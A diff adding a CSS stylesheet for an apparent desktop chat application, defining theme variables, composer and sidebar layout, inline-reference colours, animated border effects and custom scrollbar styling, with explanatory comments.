+    --dt-muted-foreground: var(--ui-text-tertiary);
+    --dt-popover: color-mix(in srgb, var(--ui-bg-elevated) 96%, transparent);
+    --dt-popover-foreground: var(--ui-text-primary);
+    --dt-primary: var(--theme-primary);
+    --dt-primary-foreground: #fcfcfc;
+    --dt-secondary: var(--theme-secondary);
+    --dt-secondary-foreground: var(--ui-text-secondary);
+    --dt-accent: var(--theme-accent-soft);
+    --dt-accent-foreground: var(--ui-text-primary);
+    --dt-border: var(--ui-stroke-secondary);
+    --dt-input: var(--ui-stroke-primary);
+    /* THE single knob for input-field borders: the resting alpha (% of the ring
+       color). Hover doubles it; focus/open go full. 0% = invisible at rest. */
+    --dt-input-border: 7%;
+    /* Knob for input-field background fill: alpha (% of --dt-card) across all
+       states. 100% = fully opaque, lower = translucent over the blurred chrome. */
+    --dt-input-bg: 0%;
+    /* Classic recessed "inset" — a crisp 1px inner shadow at the TOP edge.
+       :root.dark bumps the alpha since a dark card swallows shadow. Removed on
+       focus (the focus border carries the state). */
+    --dt-input-inset: inset 0 1px 1px color-mix(in srgb, #000 10%, transparent);
+    /* Hovered inactive tab: deepen it AWAY from the lighter active surface, so
+       hover can never be mistaken for selected. Dark mode needs more — black
+       over a dark gutter shows less. */
+    --ui-tab-hover-darken: 2.5%;
+    --dt-ring: var(--ui-stroke-primary);
+    --dt-midground: var(--theme-midground);
+    --dt-composer-ring: var(--ui-base);
+    --dt-destructive: #cf2d56;
+    --dt-destructive-foreground: #ffffff;
+    --dt-sidebar-bg: var(--ui-bg-sidebar);
+    --dt-sidebar-border: var(--ui-stroke-secondary);
+    --dt-user-bubble: var(--ui-chat-bubble-background);
+    --dt-user-bubble-border: var(--ui-stroke-tertiary);
+
+    --dt-font-sans:
+      'Segoe WPC', 'Segoe UI', -apple-system, BlinkMacSystemFont, 'SF Pro Text', system-ui, sans-serif,
+      'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol', 'Noto Color Emoji', emoji;
+    /* Key caps always use the native UI face — never theme typography overrides. */
+    --dt-font-kbd: -apple-system, BlinkMacSystemFont, 'SF Pro Text', 'Segoe UI', system-ui, sans-serif;
+    /* Menlo/Monaco first — Apple's native monospace faces — so code/diff read
+       in the system mono on macOS, with SF Mono and bundled Courier Prime as
+       fallbacks. */
+    --dt-font-mono:
+      Menlo, Monaco, 'SF Mono', 'Courier Prime', monospace, 'Apple Color Emoji', 'Segoe UI Emoji', 'Segoe UI Symbol',
+      'Noto Color Emoji', emoji;
+    --dt-base-size: 1rem;
+    --dt-line-height: 1.5;
+    --dt-letter-spacing: 0;
+    --dt-spacing-mul: 1;
+
+    --radius: 0.75rem;
+    /* Effective value everywhere: the chat backdrop used to force 0.2 onto the
+       root element at runtime (an ungated leva slider default), so this 0.6
+       only ever applied to the windows that don't mount the backdrop. Pinned
+       to the value the app actually renders at. */
+    --radius-scalar: 0.2;
+
+    /* Space under last message vs overlay composer — driven by the measured composer DOCK height (see
+       composer/index.tsx), which covers the micro-action strip, the status stack, the composer, and the
+       underside strip in one number.
+       This is the default; each chat surface re-declares the calc against its own measurement (see below). */
+    --thread-last-message-clearance: calc(var(--composer-measured-height) + 2rem);
+
+    --composer-shell-pad-block-end: 0.625rem;
+    --message-text-indent: 0.75rem;
+    --conversation-text-font-size: 0.8125rem;
+    --conversation-tool-font-size: 0.6875rem;
+    --conversation-caption-font-size: 0.75rem;
+    --conversation-line-height: 1.125rem;
+    --conversation-caption-line-height: 1rem;
+    --conversation-turn-gap: 0.375rem;
+    /* Gap between top-level turn blocks (prose ↔ tools ↔ thinking) — enough air
+       that scaffolding reads as separate from the reply, not crammed into it. */
+    --turn-block-gap: 0.75rem;
+    /* Between adjacent scaffolding, though: a back-to-back run of thinking
+       headers and tool rows is one sequence, not blocks to hold apart. Derived
+       so retuning the block gap carries it along. */
+    --scaffold-block-gap: calc(var(--turn-block-gap) / 3);
+    /* Tight gap between tool rows inside a single action group, so a back-to-back
+       run still reads as one cohesive sequence. */
+    --tool-row-gap: 0.375rem;
+    /* Resting opacity of a disclosure caret — invisible until hover, except
+       where a surface opts into a faint hint of the affordance. */
+    --disclosure-caret-rest: 0;
+    /* Paragraph spacing — vertical gap between prose paragraphs, both inside a
+       markdown block and between consecutive prose parts. Single knob; tweak
+       freely. */
+    --paragraph-gap: 0.7rem;
+    --sticky-human-top: 0.23rem;
+    --file-tree-row-height: 1.375rem;
+
+    --composer-width: 48.75rem;
+    --composer-control-size: 1.5rem;
+    --composer-control-primary-size: 1.625rem;
+    --composer-control-gap: 0.25rem;
+    --composer-row-gap: 0.25rem;
+    --composer-ring-strength: 1;
+    --composer-surface-pad-x: 0.5rem;
+    --composer-surface-pad-y: 0.3125rem;
+    --composer-input-min-height: 1.625rem;
+    --composer-input-max-height: 9.375rem;
+    --composer-input-inline-min-width: 8rem;
+    --composer-fallback-height: 2.75rem;
+    --composer-measured-height: calc(0.5rem + var(--composer-shell-pad-block-end) + var(--composer-fallback-height));
+    --composer-surface-measured-height: var(--composer-fallback-height);
+    --thread-viewport-height: max(
+      0rem,
+      calc(100% - var(--composer-measured-height) + var(--composer-surface-measured-height))
+    );
+    --vsq: min(0.5vh, 0.5vw);
+    --image-preview-max-width: 34rem;
+    --image-preview-height: clamp(16.25rem, calc(var(--vsq) * 100), 26.25rem);
+
+    --sidebar-width: 14.8125rem;
+    --chat-min-width: 28rem;
+    --titlebar-control-size: 1.25rem;
+    --titlebar-control-height: 1.375rem;
+    --sidebar-content-inline-padding: 1rem;
+
+    --sidebar: var(--dt-sidebar-bg);
+    --sidebar-foreground: var(--dt-foreground);
+    --sidebar-primary: var(--dt-primary);
+    --sidebar-primary-foreground: var(--dt-primary-foreground);
+    --sidebar-accent: var(--ui-control-active-background);
+    --sidebar-accent-foreground: var(--dt-accent-foreground);
+    --sidebar-border: var(--dt-sidebar-border);
+    --sidebar-ring: var(--dt-ring);
+    --sidebar-edge-border: color-mix(in srgb, var(--ui-base) 7.5%, transparent);
+    --chrome-action-hover: var(--ui-control-hover-background);
+
+    --midground: var(--dt-midground);
+    --background: var(--dt-background);
+    --foreground: var(--dt-foreground);
+
+    --warm-glow: color-mix(in srgb, var(--ui-warm) 32%, color-mix(in srgb, var(--ui-accent) 6%, transparent));
+    /* `--noise-opacity-mul` is set per-mode by `applyTheme()`. */
+    --noise-opacity-mul: 1;
+    --backdrop-invert-mul: 1;
+  }
+
+  :root.dark {
+    /* Per-mode mix knobs — overridden inline by `applyTheme()` per skin. */
+    --theme-mix-chrome: 74%;
+    --theme-mix-card: 38%;
+    --theme-mix-elevated: 46%;
+    --theme-mix-bubble: 46%;
+    --theme-neutral-chrome: #0d0d0e;
+    --theme-neutral-sidebar: #0a0a0b;
+    --theme-neutral-card: #161618;
+
+    /* Dark-only accent palette overrides. */
+    --ui-red: #e75e78;
+    --ui-green: #55a583;
+    --ui-cyan: #6f9ba6;
+    --ui-diff-add-foreground: color-mix(in srgb, var(--ui-green) 62%, #fff);
+    --ui-diff-remove-foreground: color-mix(in srgb, var(--ui-red) 62%, #fff);
+
+    --sidebar-edge-border: color-mix(in srgb, var(--ui-base) 12%, transparent);
+    --composer-ring-strength: 1.3;
+    --backdrop-invert-mul: 0;
+    /* Dark mode: a dark card needs a stronger black inset to show the recess. */
+    --dt-input-inset: inset 0 1px 1px color-mix(in srgb, #000 38%, transparent);
+    --ui-tab-hover-darken: 6%;
+    /* Dark needs a lighter resting border than light mode. */
+    --dt-input-border: 4%;
+
+    --ui-inline-code-background: color-mix(in srgb, #ffffff 7%, transparent);
+    --ui-inline-code-foreground: color-mix(in srgb, #ffffff 88%, transparent);
+    --ui-selection-background: color-mix(in srgb, #ffd24a 38%, transparent);
+    /* A dark card sits ABOVE the chrome (#161618 over #0d0d0e), so an inline
+       widget wearing the raw card fill reads as a lit panel. Take it down a
+       touch — still clearly a surface, no longer the brightest thing in the
+       transcript. Derived from the card so every skin follows its own seed. */
+    --ui-widget-surface-background: color-mix(in srgb, var(--ui-bg-editor) 88%, #000);
+  }
+
+  * {
+    box-sizing: border-box;
+    border-color: var(--dt-border);
+  }
+
+  html,
+  body,
+  #root {
+    height: 100%;
+    /* App shell, not a document: the window itself never scrolls on either axis
+       (panes own their own scroll). Belt to the auto-scroll axis-lock in the
+       sidebar reorder DnD — nothing can drag the whole shell sideways. */
+    overflow: hidden;
+  }
+
+  html {
+    font-size: var(--dt-base-size, 0.875rem);
+  }
+
+  body {
+    margin: 0;
+    background: var(--ui-chat-surface-background);
+    color: var(--dt-foreground);
+    font-family: var(--dt-font-sans);
+    font-size: 0.8125rem;
+    line-height: var(--dt-line-height, 1.55);
+    letter-spacing: var(--dt-letter-spacing, 0);
+    -webkit-user-select: none;
+    user-select: none;
+    -webkit-font-smoothing: antialiased;
+  }
+
+  button,
+  textarea {
+    font: inherit;
+  }
+
+  :where(
+    a,
+    .underline,
+    [class~='hover:underline'],
+    [class~='focus:underline'],
+    [class~='focus-visible:underline'],
+    [class~='group-hover:underline'],
+    [class~='peer-hover:underline']
+  ) {
+    text-decoration-color: color-mix(in srgb, currentColor 20%, transparent);
+    text-underline-offset: 0.25rem;
+  }
+
+  *::selection {
+    background: var(--ui-selection-background);
+    color: inherit;
+  }
+}
+
+.dither {
+  background: repeating-conic-gradient(currentColor 0% 25%, transparent 0% 50%) 0 0 / 0.125rem 0.125rem;
+}
+
+/* ─────────────────────────────────────────────────────────────────────────
+   INLINE REFERENCES — the one system for anything that points at something
+   from inside a run of text.
+
+   A pasted link, an `@file:` the user picked, a `/skill`, a `@session:` the
+   agent wrote: all the same species. They render the same way in the composer
+   and in a sent message, because they're the same thing before and after send.
+
+   A reference is TEXT, not a badge — colour and an optional icon, no fill, no
+   padding, no border. A pill turns every mention into a widget the eye has to
+   step over, and mid-sentence that's most of the sentence.
+
+   Usage: `class="ref"` plus `data-ref="<kind>"` for the accent. Kinds live in
+   `components/assistant-ui/reference-kinds.ts` (icon + label); their colour
+   lives here, so a theme restyles every reference at once and TS never ships a
+   hex. No `data-ref` = an ordinary link, which keeps the primary link colour.
+   ───────────────────────────────────────────────────────────────────────── */
+/* Kind → accent. Keyed on the attribute ALONE so anything can adopt a
+   reference's colour without also taking its inline-text layout (a completion
+   row's icon column wants the hue, not the margin). Grouped by what a
+   reference DOES, so the palette reads as meaning rather than decoration:
+     · things you point at (paths)          → neutral, they're the common case
+     · things you fetch (links, media)      → secondary
+     · things that act (commands, tools)    → accent
+     · things that change code (skills, git)→ warm */
+[data-ref] {
+  --ref-color: var(--dt-primary);
+}
+
+[data-ref='file'],
+[data-ref='folder'],
+[data-ref='line'],
+[data-ref='terminal'] {
+  --ref-color: var(--ui-text-secondary);
+}
+
+[data-ref='url'],
+[data-ref='image'],
+[data-ref='session'],
+[data-ref='theme'] {
+  --ref-color: color-mix(in srgb, var(--ui-accent-secondary) 82%, var(--foreground));
+}
+
+[data-ref='command'],
+[data-ref='tool'] {
+  --ref-color: color-mix(in srgb, var(--ui-accent) 82%, var(--foreground));
+}
+
+[data-ref='skill'],
+[data-ref='git'],
+[data-ref='diff'],
+[data-ref='staged'] {
+  --ref-color: color-mix(in srgb, var(--ui-warm) 82%, var(--foreground));
+}
+
+.ref {
+  --ref-color: var(--dt-primary);
+
+  /* Prose links inherit the surrounding text's weight. `@tailwindcss/typography`
+     sets `prose a { font-weight: 500 }`, which outranks a utility class on the
+     anchor — so the override belongs here, on the shared class. */
+  font-weight: inherit;
+  color: var(--ref-color);
+  /* Explicit: the base layer underlines every `a` (see the :where(a, …) reset). */
+  text-decoration: none;
+  /* A wrapped reference breaks per line fragment, not as one ragged box. */
+  -webkit-box-decoration-break: clone;
+  box-decoration-break: clone;
+}
+
+/* Affordance without chrome: only the ones you can actually activate respond,
+   and they do it with an underline rather than a background. */
+:where(a, button).ref:hover {
+  text-decoration: underline;
+  text-underline-offset: 0.15em;
+}
+
+/* The leading glyph. Sized in `em` so it tracks the text at any scale, and
+   spaced with `margin` — not flex `gap` — so `.ref` stays an inline box whose
+   label can wrap mid-word (a long URL has to break across lines like the prose
+   around it, which a flex container would prevent).
+
+   The margin is unconditional. A `:not(:only-child)` guard looks right and is
+   silently wrong: CSS counts ELEMENT siblings, so an icon followed by a bare
+   text-node label still matches `:only-child` — which is exactly how every
+   chip lost its spacer. Icon-only users take the hue via `[data-ref]` instead
+   of this class. */
+.ref > :where(svg, i.codicon) {
+  margin-inline-end: 0.25em;
+  opacity: 0.8;
+}
+
+.ref > svg {
+  display: inline-block;
+  width: 0.875em;
+  height: 0.875em;
+  vertical-align: -0.1em;
+}
+
+.ref > i.codicon {
+  font-size: 0.875em;
+}
+
+/* Hover-reveal suppression — the shared, declarative escape hatch.
+   A collapsed pane slides in when the pointer dwells on its thin edge trigger.
+   Controls that sit over that edge gutter would drag the panel in by accident.
+   Mark any such region and, while it's hovered, the matching edge trigger(s) go
+   pointer-transparent. Auto-resets on mouse-out, no JS.
+
+   - data-suppress-pane-reveal       → kills BOTH edges (use for small regions
+                                         like the thread timeline).
+   - data-suppress-pane-reveal-side  → kills only the hovered region's OWN side
+                                         (side read from its [data-pane-side]
+                                         pane ancestor), so the opposite sidebar
+                                         stays summonable while you work a pane. */
+[data-pane-shell]:has([data-suppress-pane-reveal]:hover) [data-pane-reveal-trigger] {
+  pointer-events: none;
+}
+
+[data-pane-shell]:has([data-pane-side='left'] [data-suppress-pane-reveal-side]:hover)
+  [data-pane-side='left']
+  [data-pane-reveal-trigger],
+[data-pane-shell]:has([data-pane-side='right'] [data-suppress-pane-reveal-side]:hover)
+  [data-pane-side='right']
+  [data-pane-reveal-trigger] {
+  pointer-events: none;
+}
+
+/* A pane's self-naming label ("REVIEW" atop the review pane) is redundant
+   when its zone header is showing a tab with the same name — hide it there.
+   Headerless zones (and the pane used outside the tree) keep the label. */
+[data-tree-group][data-zone-header] [data-pane-self-label] {
+  display: none;
+}
+
+:root:not([style*='--theme-asset-bg:']) .theme-default-filler {
+  display: block;
+}
+
+:root[style*='--theme-asset-bg:'] .theme-default-filler {
+  display: none;
+}
+
+/* ─────────────────────────────────────────────────────────────────────────
+   Composer placeholder.
+
+   The prompt is a PAINTED HINT, never content. Rendering `::before` inline —
+   the obvious way — puts a box in the contenteditable's text flow, and the
+   caret sits after it: click an empty composer and the insertion point lands
+   at the right edge of the hint rather than the left edge of the field, and a
+   hint that wraps makes the empty composer two lines tall. Taking it out of
+   flow is what makes it a hint: the caret keeps the field's real origin, the
+   box keeps its real height, and no pointer or selection can reach the text.
+
+   `data-empty` carries emptiness because `:empty` can't: a cleared editor
+   keeps a scaffolding <br>. See markEditorEmptiness in rich-editor.ts.
+   ───────────────────────────────────────────────────────────────────────── */
+[data-slot='composer-rich-input'] {
+  position: relative;
+}
+
+[data-slot='composer-rich-input']:is(:empty, [data-empty])::before {
+  content: attr(data-placeholder);
+  position: absolute;
+  inset: 0;
+  padding: inherit;
+  overflow: hidden;
+  color: color-mix(in srgb, var(--muted-foreground) 60%, transparent);
+  /* One line, clipped — the hint states the field's purpose; it never reflows
+     the box it sits in. A narrow composer or a long locale string would
+     otherwise wrap and double the empty composer's height. */
+  white-space: nowrap;
+  text-overflow: ellipsis;
+  pointer-events: none;
+  user-select: none;
+}
+
+/* Primitive-level pointer cursor for every interactive control (buttons,
+   selects, menu items, switches, tabs, summaries). Keeps individual
+   components from having to hardcode `cursor-pointer`; explicit cursor
+   utilities (cursor-grab, cursor-default, disabled:cursor-*) still win since
+   they live in the utilities layer. */
+@layer base {
+  button:not(:disabled):not([aria-disabled='true']),
+  summary,
+  [role='button']:not([aria-disabled='true']),
+  [role='menuitem']:not([aria-disabled='true']),
+  [role='menuitemradio']:not([aria-disabled='true']),
+  [role='menuitemcheckbox']:not([aria-disabled='true']),
+  [role='option']:not([aria-disabled='true']),
+  [role='switch']:not([aria-disabled='true']),
+  [role='tab']:not([aria-disabled='true']) {
+    cursor: pointer;
+  }
+}
+
+@layer utilities {
+  [class*='rounded-full'],
+  [class*=':rounded-full'] {
+    border-radius: calc(var(--radius-scalar) * 9999rem);
+  }
+}
+
+/* Interactive list-row hover — the sessions-list interaction, shared by every
+   row list (sessions, capabilities, messaging, file trees, timeline): the
+   highlight lands instantly on hover-in and fades out over 100ms on leave. */
+@utility row-hover {
+  cursor: pointer;
+  transition:
+    color 100ms ease-out,
+    background-color 100ms ease-out;
+
+  &:hover {
+    background-color: var(--ui-row-hover-background);
+    transition: none;
+  }
+}
+
+@keyframes arc-border {
+  0% {
+    background-position: 15% 15%;
+  }
+  100% {
+    background-position: 75% 75%;
+  }
+}
+
+.arc-border {
+  --arc-c0: color-mix(in srgb, var(--dt-foreground) 0%, transparent);
+  --arc-c1: var(--dt-midground);
+  --arc-c2: var(--dt-background);
+  --arc-angle: 160deg;
+  --arc-width: 0.078125rem;
+  /* How far the ring stands off its host, per side. */
+  --arc-standoff: 0.125rem;
+  /* An outset ring is only concentric when its radius grows by the standoff
+     (r = r_host + gap); `border-radius: inherit` leaves the corner pinched.
+     Defaults to the shared `rounded-md`; a host on another radius sets it. */
+  --arc-radius: var(--radius-md);
+  --arc-duration: 2.23s;
+
+  pointer-events: none;
+  position: absolute;
+  overflow: hidden;
+  border-radius: calc(var(--arc-radius) + var(--arc-standoff));
+  inset: calc(var(--arc-standoff) * -1);
+  padding: var(--arc-width);
+  mask:
+    linear-gradient(#000 0 0) content-box,
+    linear-gradient(#000 0 0);
+  -webkit-mask-composite: xor;
+  mask-composite: exclude;
+}
+
+:root.dark .arc-border {
+  --arc-c1: var(--dt-foreground);
+}
+
+/* Quest-style "needs you" pulse for a clarify-blocked session's dot —
+   a soft amber glow that breathes so the row draws the eye without a toast. */
+@keyframes quest-glow {
+  0%,
+  100% {
+    transform: scale(1);
+    box-shadow:
+      0 0 0.1875rem color-mix(in srgb, var(--color-amber-500, #f59e0b) 70%, transparent),
+      0 0 0.5rem color-mix(in srgb, var(--color-amber-500, #f59e0b) 45%, transparent);
+  }
+  50% {
+    transform: scale(1.18);
+    box-shadow:
+      0 0 0.3125rem color-mix(in srgb, var(--color-amber-500, #f59e0b) 90%, transparent),
+      0 0 0.875rem color-mix(in srgb, var(--color-amber-500, #f59e0b) 65%, transparent);
+  }
+}
+
+/* Landed `memory` tool row — gold → purple on the brain glyph + title.
+   Pair with `text-transparent` so the scaffold label color can't win. */
+.tool-memory-legendary-title {
+  background-image: linear-gradient(
+    105deg,
+    var(--tool-memory-legendary-from) 0%,
+    var(--tool-memory-legendary-mid) 48%,
+    var(--tool-memory-legendary-to) 100%
+  );
+  -webkit-background-clip: text;
+  background-clip: text;
+  color: transparent !important;
+  font-weight: 600;
+}
+
+.tool-memory-legendary-glyph {
+  filter: drop-shadow(0 0 0.28rem var(--tool-memory-legendary-glow));
+}
+
+.tool-memory-legendary-meta {
+  color: var(--tool-memory-legendary-meta);
+}
+
+.quest-glow {
+  animation: quest-glow 1.8s ease-in-out infinite;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .quest-glow {
+    animation: none;
+    box-shadow:
+      0 0 0.25rem color-mix(in srgb, var(--color-amber-500, #f59e0b) 80%, transparent),
+      0 0 0.625rem color-mix(in srgb, var(--color-amber-500, #f59e0b) 55%, transparent);
+  }
+}
+
+/* Command-palette deep-link: briefly flash the targeted settings row. */
+@keyframes setting-field-flash {
+  0% {
+    background-color: color-mix(in srgb, var(--dt-primary, #f59e0b) 22%, transparent);
+  }
+  100% {
+    background-color: transparent;
+  }
+}
+
+.setting-field-highlight {
+  animation: setting-field-flash 1.6s ease-out;
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .setting-field-highlight {
+    animation: none;
+  }
+}
+
+.arc-border::before {
+  content: '';
+  position: absolute;
+  inset: 0;
+  border-radius: inherit;
+  background: linear-gradient(
+    var(--arc-angle),
+    transparent 0%,
+    var(--arc-c0) 15%,
+    var(--arc-c1) 20%,
+    var(--arc-c2) 25%,
+    transparent 35%,
+    transparent 40%,
+    var(--arc-c0) 55%,
+    var(--arc-c1) 60%,
+    var(--arc-c2) 65%,
+    transparent 75%,
+    transparent 80%,
+    var(--arc-c0) 95%,
+    var(--arc-c1) 100%
+  );
+  background-size: 300% 300%;
+  animation: arc-border var(--arc-duration) linear infinite;
+}
+
+/* Flip the arc's travel direction (e.g. the Nous Portal hero row). */
+.arc-border.arc-reverse::before {
+  animation-direction: reverse;
+}
+
+/* Nous Portal hero: slower, blue → orange arc. */
+.arc-border.arc-nous,
+:root.dark .arc-border.arc-nous {
+  --arc-c1: #4f8cff;
+  --arc-c2: #ff8c42;
+  --arc-duration: 3.27s;
+}
+
+/* Sidebar session row — a thin, clipped, single-line host, so it differs twice
+   from the default ring:
+
+   1. Flush, not outset. The sidebar scroller is `overflow-x-hidden` and rows sit
+      `gap-px` apart, so an outset ring loses its left/right runs to the clip.
+
+   2. A visible tail. `--arc-c2` defaults to `--dt-background` — invisible
+      against the sidebar. With c0 a transparent sentinel and c2 invisible, only
+      the bright c1 stop survives each pass, and the gradient has three of them:
+      three moving dots instead of an arc. Tying c2 to c1 gives each spike a
+      falloff. (`arc-nous` already overrides c2, so the hero is unaffected.) */
+.arc-border.arc-row,
+:root.dark .arc-border.arc-row {
+  --arc-standoff: 0rem;
+  --arc-c2: color-mix(in srgb, var(--arc-c1) 45%, transparent);
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .arc-border::before {
+    animation: none;
+  }
+}
+
+/* No focus rings, anywhere. Kills the native outline plus Tailwind's
+   `focus-visible:ring-*` (a box-shadow driven by --tw-ring-*). Unlayered so it
+   beats the utilities layer without !important on the outline. The composer /
+   .desktop-input-chrome focus glow is untouched — those set `box-shadow`
+   directly rather than through the ring vars. */
+*:focus,
+*:focus-visible {
+  outline: none;
+}
+
+*:focus-visible {
+  --tw-ring-shadow: 0 0 #0000 !important;
+  --tw-ring-offset-shadow: 0 0 #0000 !important;
+}
+
+button {
+  -webkit-app-region: no-drag;
+}
+
+/* Button variant styling lives entirely in the cva in components/ui/button.tsx
+   (the single source of truth). Don't re-add [data-slot='button'] rules here —
+   attribute selectors out-specify the Tailwind utilities and silently override
+   the variants. */
+
+[data-slot='dropdown-menu-content'],
+[data-slot='select-content'],
+[data-slot='dialog-content'],
+[data-slot='thread-timeline-popover'] {
+  border-color: var(--ui-stroke-secondary);
+  background: color-mix(in srgb, var(--ui-bg-elevated) 96%, transparent);
+  box-shadow: var(--shadow-md);
+  backdrop-filter: blur(0.75rem) saturate(1.08);
+  -webkit-backdrop-filter: blur(0.75rem) saturate(1.08);
+}
+
+[data-slot='dropdown-menu-item']:focus,
+[data-slot='dropdown-menu-checkbox-item']:focus,
+[data-slot='dropdown-menu-radio-item']:focus {
+  background: var(--ui-bg-tertiary);
+  color: var(--ui-text-primary);
+}
+
+input,
+textarea,
+[contenteditable]:not([contenteditable='false']),
+[data-slot='aui_user-message-root'],
+[data-slot='aui_assistant-message-content'],
+[data-slot='aui_system-message-root'],
+[data-selectable-text='true'],
+[data-selectable-text='true'] * {
+  -webkit-user-select: text;
+  user-select: text;
+}
+
+button,
+[role='button'] {
+  -webkit-user-select: none;
+  user-select: none;
+}
+
+/* User bubbles are <button>s (click → edit), so the rule above would kill
+   drag-to-select and leave ⌘C with nothing to grab. Message text stays
+   selectable; chrome controls outside the bubble keep user-select: none. */
+[data-slot='aui_user-message-root'] button,
+[data-slot='aui_user-message-root'] [role='button'] {
+  -webkit-user-select: text;
+  user-select: text;
+}
+
+img,
+picture,
+video,
+canvas,
+svg {
+  -webkit-user-select: none;
+  user-select: none;
+}
+
+img,
+video,
+canvas {
+  -webkit-user-drag: none;
+}
+
+/* Tabs render 2-wide on every HTML code surface — the source preview, inline
+   diffs, markdown code blocks, tool output — so indentation matches the editor
+   and the terminal instead of the browser default (8). */
+pre,
+code {
+  tab-size: 2;
+  -moz-tab-size: 2;
+}
+
+/* Arc-style multicolor action surface (static, not animated). Reusable on any
+   Button via className. Unlayered so it beats Tailwind's bg- and text- variant
+   utilities. */
+.btn-arc {
+  background-image: linear-gradient(110deg, #5b6cff 0%, #8b5cf6 28%, #d946ef 58%, #fb7185 82%, #fb923c 100%);
+  color: #fff;
+  border-color: transparent;
+}
+
+.btn-arc:hover:not(:disabled) {
+  filter: brightness(1.08) saturate(1.06);
+}
+
+/* Shared input chrome — mirrors composer hover/focus FX. Unlayered to beat Tailwind utilities. */
+/* Border strength is driven by the single --dt-input-border alpha knob (× the
+   theme's tuned ring color); hover doubles it and focus triples it. Only the
+   border-color animates — animating the translucent background over the window's
+   backdrop-blur flickers (badly on textareas), so the bg fill snaps instead.
+   (:focus is declared after :hover so a focused+hovered field shows focus.) */
+.desktop-input-chrome {
+  background: color-mix(in srgb, var(--dt-card) var(--dt-input-bg), transparent);
+  border-color: color-mix(in srgb, var(--dt-composer-ring) var(--dt-input-border), transparent);
+  box-shadow: var(--dt-input-inset);
+  transition: border-color 200ms ease-out;
+}
+
+.desktop-input-chrome:hover {
+  border-color: color-mix(in srgb, var(--dt-composer-ring) calc(var(--dt-input-border) * 2), transparent);
+}
+
+/* `[data-state='open']` keeps the trigger looking focused while its dropdown is
+   open — Radix moves focus into the list, so the trigger itself loses :focus. */
+.desktop-input-chrome:focus,
+.desktop-input-chrome:focus-within,
+.desktop-input-chrome[data-state='open'] {
+  border-color: var(--dt-composer-ring);
+  box-shadow: none;
+  outline: none;
+}
+
+.desktop-input-chrome[aria-invalid='true'] {
+  border-color: var(--dt-destructive);
+}
+
+@layer components {
+  /* Chromium 121+ (Electron) prefers standard scrollbar-* over
+     ::-webkit-scrollbar and ignores the latter when both are set — platform
+     thin on mac still looks chunky. Use webkit for real thin thumbs; gate the
+     standard props so only non-webkit engines (Firefox) take that path.
+     https://developer.chrome.com/docs/css-ui/scrollbar-styling
+     https://syntackle.com/blog/changes-to-scrollbar-styling-in-chrome-121/
+
+     Any author rule on ::-webkit-scrollbar switches that scroller from
+     platform overlay (fade in on scroll, zero gutter) to classic always-on
+     gutters. `.scrollbar-overlay` opts a surface out of the themed rules so
+     Electron keeps native overlay — used by conversation code blocks where a
+     permanent 4px track eats the card and always draws a bar. */
+
+  .scrollbar-dt::-webkit-scrollbar,
+  .scrollbar-dt *:not(.scrollbar-overlay)::-webkit-scrollbar {
+    width: 0.25rem;
+    height: 0.25rem;
+  }
+
+  .scrollbar-dt::-webkit-scrollbar-track,
+  .scrollbar-dt::-webkit-scrollbar-corner,
+  .scrollbar-dt *:not(.scrollbar-overlay)::-webkit-scrollbar-track,
+  .scrollbar-dt *:not(.scrollbar-overlay)::-webkit-scrollbar-corner {
+    background: transparent;
+  }
+
+  .scrollbar-dt::-webkit-scrollbar-thumb,
+  .scrollbar-dt *:not(.scrollbar-overlay)::-webkit-scrollbar-thumb {
+    background: color-mix(in srgb, var(--dt-midground) 18%, transparent);
+    border-radius: 9999rem;
+    background-clip: padding-box;
+  }
+
+  .scrollbar-dt::-webkit-scrollbar-thumb:hover,
+  .scrollbar-dt *:not(.scrollbar-overlay)::-webkit-scrollbar-thumb:hover {
+    background: color-mix(in srgb, var(--dt-midground) 40%, transparent);
+    background-clip: padding-box;
+  }
+
+  .scrollbar-dt::-webkit-scrollbar-button,
+  .scrollbar-dt *:not(.scrollbar-overlay)::-webkit-scrollbar-button {
+    display: none;
+  }
+
+  /* Variant for portaled overlays (Radix DropdownMenu, Popover, etc.) that
+     render under document.body, outside the `.scrollbar-dt` scope on
+     #root. Same visual treatment, applied directly to the overlay
+     container so its (and only its) internal scrollbar is themed. */
+  .dt-portal-scrollbar::-webkit-scrollbar {
+    width: 0.25rem;
+    height: 0.25rem;
+  }
+
+  .dt-portal-scrollbar::-webkit-scrollbar-track,
+  .dt-portal-scrollbar::-webkit-scrollbar-corner {
+    background: transparent;
+  }
+
+  .dt-portal-scrollbar::-webkit-scrollbar-thumb {
+    background: color-mix(in srgb, var(--dt-midground) 28%, transparent);
+    border-radius: 9999rem;
+    background-clip: padding-box;
+  }
+
+  .dt-portal-scrollbar::-webkit-scrollbar-thumb:hover {
+    background: color-mix(in srgb, var(--dt-midground) 50%, transparent);
+    background-clip: padding-box;
+  }
+
+  .dt-portal-scrollbar::-webkit-scrollbar-button {
+    display: none;
+  }
+
+  @supports not selector(::-webkit-scrollbar) {
+    .scrollbar-dt,
+    .scrollbar-dt *:not(.scrollbar-overlay) {
+      scrollbar-width: thin;
+      scrollbar-color: color-mix(in srgb, var(--dt-midground) 18%, transparent) transparent;
+    }
+
+    .dt-portal-scrollbar {
+      scrollbar-width: thin;
+      scrollbar-color: color-mix(in srgb, var(--dt-midground) 28%, transparent) transparent;
+    }
+
+    /* Firefox has no real overlay mode; thin + transparent track is the closest
+       match to the Chromium overlay opt-out above. */
+    .scrollbar-overlay {
+      scrollbar-width: thin;
+      scrollbar-color: color-mix(in srgb, var(--dt-midground) 28%, transparent) transparent;
+    }
+  }
+}
+
+/* Bottom clearance lives on [data-slot='aui_composer-clearance'] —
+   virtualized items unmount, so :nth-last-child can't fire reliably. */
+
+[data-slot='aui_assistant-message-content'] {
+  padding-left: var(--message-text-indent);
+  font-size: var(--conversation-text-font-size);
+  line-height: 1.5;
+}
+
+[data-slot='aui_assistant-message-root'] {
+  width: 100%;
+}
+
+[data-slot='aui_assistant-message-content'] .aui-md,
+[data-slot='aui_assistant-message-content'] .aui-md :where(p, li, blockquote, table, pre) {
+  font-size: inherit;
+}
+
+/* Tailwind Typography sets `.prose :where(p) { margin: 1.25em }` (~16px). That
+   selector ties our `my-*` utility on specificity and wins on source order, so
+   paragraph spacing must be reclaimed here at higher specificity. One tight
+   top-margin (bottom zeroed to avoid doubling), first child reset to flush. */
+[data-slot='aui_assistant-message-content'] .aui-md :where(p) {
+  margin-block: var(--paragraph-gap) 0;
+}
